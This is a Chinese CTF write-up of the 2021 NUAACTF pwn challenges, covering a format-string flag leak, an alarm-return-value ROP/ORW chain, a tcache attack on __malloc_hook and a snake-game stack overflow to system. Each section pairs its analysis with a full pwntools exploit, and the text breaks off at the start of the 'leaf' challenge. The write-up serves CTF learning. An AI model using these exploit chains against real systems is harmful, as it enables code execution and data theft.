行业新闻

2021NUAACTF PWN&RE WP详解

2021NUAACTF PWN&RE WP详解

 

前言

这是2021年NUAACTF的pwn题目和部分re的详细分析,官方给的wp只有一句话,我对其进行详细的分析,记录如下,若有错误,请指正。

 

PWN -> format (fmt)

题目分析

题目没有开pie,环境20.04,ida查看有一个格式化字符串漏洞:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int fd; // [rsp+4h] [rbp-1Ch]
  void *buf; // [rsp+8h] [rbp-18h]
  char format[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  fd = open("./flag", 0);
  buf = malloc(0x30uLL);
  read(fd, buf, 0x30uLL);
  close(fd);
  read(0, format, 8uLL);
  printf(format);   <----fmt
  free(buf);
  return 0;
}

看到在这里可以泄露栈地址以及栈地址指向的内容,所以经过调试确定偏移后,直接输入%7$s就可以输出flag。

 

PWN -> tiny (alarm返回值、rop、orw)

题目分析

保护只开了NX保护,环境20.04,shellcode不能用,ida查看伪代码:

__int64 start()
{
  signed __int64 v0; // rax
  signed __int64 v1; // rax

  sys_alarm();
  v0 = sys_write(1u, s1, 0x24uLL);
  v1 = sys_write(1u, s2, 0x1CuLL);
  return v();
}

程序没有多余的函数还有段,只有四个函数start、vul、alarm、libc_csu_init,程序先alarm然后输出提示信息,输入字符串,在vul函数中存在溢出:

__int64 vul()
{
  signed __int64 v0; // rax
  signed __int64 v1; // rax
  char buf[8]; // [rsp+8h] [rbp-8h] BYREF

  v0 = sys_read(0, buf, 0x70uLL);   <---overflow
  v1 = sys_write(1u, s3, 4uLL);
  return 114514LL;
}

没开pie,可以rop,只有一个alarm函数,可能利用过程会用到sys_alarm()。

利用思路

题目没有链接系统库和启动文件,ida分析就只有4个函数,有一个栈溢出,可以进行rop,没有libc库,不能获取shell,只能orw去读取flag,能用的rop链有sys_read、sys_write,open可以通过改变rax的值来调用,关键是怎么控制rax的值,vul函数在返回前将rax修改:

.text:0000000000401070                 public vul
.text:0000000000401070 vul             proc near               ; CODE XREF: _start+4D↑p
.text:0000000000401070
.text:0000000000401070 buf             = byte ptr -8
.text:0000000000401070
.text:0000000000401070 ; __unwind {
.text:0000000000401070                 endbr64
.text:0000000000401074                 push    rbp
.text:0000000000401075                 mov     rbp, rsp
.text:0000000000401078                 sub     rsp, 10h
.text:000000000040107C                 lea     rax, [rbp+buf]
.text:0000000000401080                 mov     rsi, rax        ; buf
.text:0000000000401083                 mov     edi, 0          ; fd
.text:0000000000401088                 mov     eax, 0
.text:000000000040108D                 mov     edx, 70h ; 'p'  ; count
.text:0000000000401092                 syscall                 ; LINUX - sys_read
.text:0000000000401094                 nop
.text:0000000000401095                 nop
.text:0000000000401096                 nop
.text:0000000000401097                 mov     edx, 4          ; count
.text:000000000040109C                 mov     edi, 1          ; fd
.text:00000000004010A1                 lea     rsi, s3         ; "Bye\n"
.text:00000000004010A8                 mov     eax, 1
.text:00000000004010AD                 syscall                 ; LINUX - sys_write
.text:00000000004010AF                 nop
.text:00000000004010B0                 nop
.text:00000000004010B1                 nop
.text:00000000004010B2                 mov     eax, 1BF52h    <-------rax = 0x1bf52>
.text:00000000004010B7                 leave
.text:00000000004010B8                 retn
.text:00000000004010B8 ; } // starts at 401070
.text:00000000004010B8 vul             endp

所以通过read读入字节数控制rax行不通。思索还有啥能控制rax的呢?果然通过查alarm函数返回值知道,alarm函数返回值通俗的说是距alarm还剩的秒数,这里要控制rax = 2调用open,就要在alarm剩余两秒的时候调用,函数返回2,同理在alarm剩余1秒的时候调用alarm,rax = 1调用write,实现读取flag。思路可以将栈迁移到bss段,然后在bss段进行orw。
利用步骤:

  1. 通过栈溢出控制rbp为bss+0x30,返回地址为rop,调用sys_read,将./flag写入bss
  2. 通过alarm设置rax = 2,rop调用sys_open打开./flag文件
  3. rop调用sys_read,将fd(flag)读入bss-0x120处
  4. 通过alarm设置rax = 1,rop调用sys_write输出flag

exp

from pwn import *
context.log_level='debug'
context.terminal = ['/bin/tmux', 'split', '-h']
sh = process('./tiny')

bss =  0x405000-0x100
vul = 0x401070
alarm = 0x401055
syscall = 0x4010ad
pop_rdi = 0x401103
pop_rsi_r15 = 0x401101
'''
.text:0000000000401088                 mov     eax, 0
.text:000000000040108D                 mov     edx, 70h ; 'p'  ; count
.text:0000000000401092                 syscall                 ; LINUX - sys_read
'''

edi_0_edx_70_eax_0_syscall = 0x401083
#gdb.attach(sh)
#pause()
sh.recvuntil('pwned!')
payload = p64(0) + p64(bss+0x30)
payload += p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(edi_0_edx_70_eax_0_syscall) #0x20  read(0,bss,0x70)

sh.send(payload)
sh.recvuntil('Bye')
bp_payload = b'./flag\x00\x00' + b'\x00'*0x28 + p64(vul) + p64(vul) + p64(vul)

sh.sendline(bp_payload)

payload = p64(0) + p64(bss + 0x70)
payload += p64(alarm) + p64(pop_rdi) + p64(bss) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(syscall) + p64(vul) #0x40  open(bss,0,0)
sleep(10) # rax = 2 open

sh.send(payload)

sh.recvuntil('Bye')
sh.recvuntil('Bye')
payload = p64(0) + p64(bss+0xa8)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(bss-0x120) + p64(0) + p64(0x401088) + p64(vul) #0x30 read(3,bss-0x120,0x70)
sh.send(payload)
sleep(11)   # rax = 1  write
#gdb.attach(sh,'b *0x40106d')
sh.recvuntil('Bye')
payload = p64(0) + p64(bss)
payload += p64(alarm) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(bss-0x120) + p64(0) + p64(0x40108d) # write(1,bss-0x120,0x70)
sh.send(payload)
sh.interactive()

总结

这个题第一次遇见,只有几个函数,程序编译的时候去掉了startfiles,程序用汇编编写,思路是栈溢出,通过alarm函数的返回值控制rax的值,从而进行orw来读取flag,第一次关注了alarm返回值的作用。

 

PWN -> nohook (UAF、edit检测hook、花指令)

题目分析

保护全开,漏洞点如下:
delete函数

void delete()
{
  int v0; // [rsp+Ch] [rbp-4h]

  puts("id:");
  v0 = itoll_read();
  if ( v0 <= 31 )
  {
    if ( qword_4080[v0] )
      free((void *)qword_4080[v0]);             // UAF
  }
}

存在UAF,可以在free后仍可操作free块。
edit函数:

__int64 edit()
{
  __int64 result; // rax
  int v1; // [rsp+14h] [rbp-4h]

  puts("id:");
  result = itoll_read();
  v1 = result;
  if ( (unsigned int)result <= 0x1F )
  {
    result = qword_4080[(unsigned int)result];
    if ( result )
      result = read(0, (void *)qword_4080[v1], dword_4180[v1]);
  }
  return result;
}

貌似没啥问题,但是这里可以看到汇编有一些蹊跷,有很多nop。仔细看是花指令隐藏了后面的逻辑:

.text:00000000000014D7                 mov     edi, 0          ; fd
.text:00000000000014DC                 call    _read
.text:00000000000014E1                 nop
.text:00000000000014E2                 nop
.text:00000000000014E3                 nop
.text:00000000000014E4                 call    $+5
.text:00000000000014E9                 add     [rsp+18h+var_18], 6
.text:00000000000014EE                 retn
.text:00000000000014EF ; ---------------------------------------------------------------------------
.text:00000000000014EF                 mov     rax, cs:off_4018

去花后,显现出来真实隐藏的逻辑:

__int64 edit()
{
  __int64 result; // rax
  int v1; // [rsp+14h] [rbp-4h]

  puts("id:");
  result = itoll_read();
  v1 = result;
  if ( (unsigned int)result <= 0x1F )
  {
    result = qword_4080[(unsigned int)result];
    if ( result )
    {
      read(0, (void *)qword_4080[v1], dword_4180[v1]);
      if ( *(_QWORD *)off_4018 || (result = *(_QWORD *)off_4020) != 0 ) // *(long long*)freehk!=0||*(long long*)mallochk!=0
      {
        *(_QWORD *)off_4018 = 0LL;
        result = (__int64)off_4020;
        *(_QWORD *)off_4020 = 0LL;
      }
    }
  }
  return result;
}

经过偏移调试,可以知道这里是判断freehook和mallochook是否为0,如果发现不为零就置零,这个操作防止了直接edit修改free/malloc hook为system。

利用方式

存在UAF,可以通过unsortedbin泄露libc,然后构造tcache attack使得tcache指向system,然后再构造同样大小的tcache指向malloc hook,此时tcache链表中链接顺序为:mallochook->system。实现了与edit直接修改mallochook为system相同的作用。
利用步骤:

  1. 申请largebin 然后free进入unsortedbin,泄露libc
  2. 构造tcache attack申请到mallochook
  3. 构造tcache attack使得tcache指向system
  4. free 步骤2中申请到的mallochook,使得mallochook -> system
  5. add(“/bin/sh”)触发mallochook,size为longlong类型,可以size=‘/bin/sh’
  6. get shell

总结

题目条件有很明显的为这种利用方式开路,首先delete的UAF,其次size是longlong类型,可以直接malloc(size) ->system(‘/bin/sh’),题目隐藏了关键nohook的点(花指令),坑点之一就在这,做提前要看仔细了,之后就是巧妙地用free的顺序绕过了edit对malloc/free hook的检测,其实就是将mallochook的fd指针指向system就能实现和直接用edit修改mallochook的效果,而tcache链表刚好是由fd来链接的,所以可以通过free顺序实现修改mallochook -> system。

exp

#utf-8
from pwn import *
context.log_level='debug'
context.terminal = ["/bin/tmux", "sp",'-h']

sh = process('./nohook')
#sh = remote('47.104.143.202',25997)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size):
  sh.recvuntil('exit')
  sh.sendline('1')
  sh.recvuntil('size:')
  sh.sendline(str(size))
def dele(idx):
  sh.recvuntil('exit')
  sh.sendline('3')
  sh.recvuntil('id:')
  sh.sendline(str(idx))
def edit(idx,content):
  sh.recvuntil('exit')
  sh.sendline('4')
  sh.recvuntil('id:')
  sh.sendline(str(idx))
  sh.send(content)
def show(idx):
  sh.recvuntil('exit')
  sh.sendline('2')
  sh.recvuntil('id:')
  sh.sendline(str(idx))

add(0x420)#0 large bin
add(0x10)#1
edit(1,'/bin/sh\x00')
dele(0) # free to unsorted bin
show(0) # UAF
sh.recvuntil('\x7f\x00\x00')
libcbase = u64(sh.recv(6).ljust(8,b'\x00')) + 0x7f2be7c93000 - 0x7f2be7e7ebe0
binsh = libcbase + 0x7f7c9aa4c5aa - 0x7f7c9a895000

print hex(libcbase)
#gdb.attach(sh)
add(0x30)#2
add(0x30)#3
dele(3)
dele(2)
edit(2,p64(libcbase+libc.sym['__malloc_hook']-0x10))
add(0x30)#4 -2 
add(0x30)#5
edit(5,p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21))

add(0x10)#6
add(0x10)#7
dele(7)
dele(6)
edit(6,p64(libcbase+libc.sym['__malloc_hook']))
add(0x10)#8-6
add(0x10)#9 f

######### not used
add(0x10)#10
add(0x10)#11
dele(11)
dele(10)
edit(10,p64(libcbase+libc.sym['__memalign_hook']))
add(0x10)#12
add(0x10)#13
one=[0xe6c7e,0xe6c81,0xe6c84]
edit(13,p64(libcbase+one[0])+p64(0x21))
########### not used


add(0x10)#14
add(0x10)#15
dele(15)
dele(14)
edit(14,p64(libcbase+libc.sym['system']))
add(0x10)
#gdb.attach(sh)
dele(9) # free_hook -> system
gdb.attach(sh)
add(str(binsh-1))
log.success(hex(libcbase))
sh.interactive()

 

PWN -> tanchishe (栈溢出)

题目分析

程序开了NX,环境2.31,no pie,no canary,程序函数比较多,是一个贪吃蛇小游戏,找程序漏洞点不好找,可以换个思路,如果是栈的漏洞,栈溢出很常见,那么造成栈溢出的只能是用户输入,那么程序中用户输入的点就一处,就是在结束游戏的时候让输入用户名,所以ida打开直接找到输入name的地方看看有没有漏洞点:

__int64 __fastcall sub_401502(unsigned int a1)
{
  __int64 result; // rax
  char src[212]; // [rsp+10h] [rbp-100h] BYREF
  int v3; // [rsp+E4h] [rbp-2Ch]
  __int64 v4; // [rsp+E8h] [rbp-28h]
  int v5; // [rsp+F4h] [rbp-1Ch]
  __int64 v6; // [rsp+F8h] [rbp-18h]
  int (**v7)(const char *, ...); // [rsp+100h] [rbp-10h]
  int i; // [rsp+10Ch] [rbp-4h]

  v6 = 138464LL;
  i = 0;
  v5 = 0;
  fflush(stdin);
  sub_4014C8();
  sub_401406(10LL, 5LL);
  printf("Your score is in the top five");
  fflush(stdout);
  sub_401406(10LL, 6LL);
  printf("Please enter your name: ");
  fflush(stdout);
  v7 = &printf;
  ((void (__fastcall *)(char *))(&printf + 17308))(src);  <---------stack over------>
  if ( dest )
    free(dest);
  dest = (char *)malloc(0xC8uLL);
  strcpy(dest, src);   <-----------heap over--------->
  result = a1;
  dword_406160 = a1;
  for ( i = 4; i > 0; --i )
  {
    v4 = qword_406120[i];
    v3 = dword_406150[i];
    if ( v3 <= dword_406150[i - 1] )
    {
      result = qword_406120[i - 1];
      if ( result )
        break;
    }
    dword_406150[i] = dword_406150[i - 1];
    qword_406120[i] = qword_406120[i - 1];
    dword_406150[i - 1] = v3;
    result = v4;
    qword_406120[i - 1] = v4;
  }
  return result;
}

这里有两个点,(&printf + 17308)是scanf,这里没有限制长度,栈溢出,下面strcpy复制到heap上,造成heap overflow。

利用方法

通过栈溢出就可以完成利用,溢出覆盖返回地址为puts,泄露libc,然后再次返回input name,再次栈溢出rop返回到system

exp

#utf-8
from pwn import *
context.log_level='debug'
context.terminal = ["/bin/tmux", "sp",'-h']
sh = process('./tanchishe')
#sh = remote('47.104.143.202',25997)
#s = ssh(host='127.0.0.1',user='ctf',password='NUAA2021',port=65500)
#sh = s.process('/home/ctf/tanchishe')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./tanchishe')

sh.recvuntil('Continue...')
sh.send('\n')

sh.recvuntil('Exit')
sh.send('\n')

sh.recvuntil('1 and 9.')
sh.send('9')

sh.recv()
sh.recvuntil(':.......::::::...:::::........::..:::::..::....::\n')
sh.send('\n')


pop_rdi = 0x00000000004030e3
pop_rsi_r15 = 0x00000000004030e1

gdb.attach(sh,'b *0x40160E')
sh.recvuntil('your name: ')
sh.send(b'a'*0xc0 +p64(0xdeadbeef) + p64(0x1f951) + p64(0)*7 + p64(pop_rdi) + p64(elf.got['printf'])+p64(elf.plt['puts']) + p64(0x401502) +b'\n')


sh.recvuntil('\xe0')
libcbase = u64( ( b'\xe0' +  sh.recv(5)).ljust(8,b'\x00') ) - 0x64de0
log.success(hex(libcbase))
#pause()
binsh = libcbase + libc.search('/bin/sh').next()
log.success(hex(binsh))
#gdb.attach(sh,'b *0x401737')
sh.recvuntil('name')
#gdb.attach(sh,'b *0x401737')
#
sh.send(b'a'*0xc0 +p64(0xdeadbeef) + p64(0x1f951) + p64(0)*7 + p64(pop_rdi) + p64(binsh) +p64(0x401757)+p64(elf.plt['system']) + p64(0x401502) +b'\n')
##############in ssh change system to orw

sh.interactive()
#log.success(hex(libcbase))

 

PWN -> leaf (binary tree、UAF)

题目分析

题目给的附件是程序leaf和libc-2.31.so,程序保护全开,运行程序:

栖霞山的枫叶红了, 拾起一片枫叶, 写满对你的思念.  
1. 写下对你的思念.
2. 交换彼此的思念.
3. 读一封枫叶的书信.
4. 扔下这片枫叶.
5. 让我来切身体会吧.
6. 重新书写这份思念.
Your Choice:

是不是看见这个菜单就头疼呢?我也是,

pwn

关闭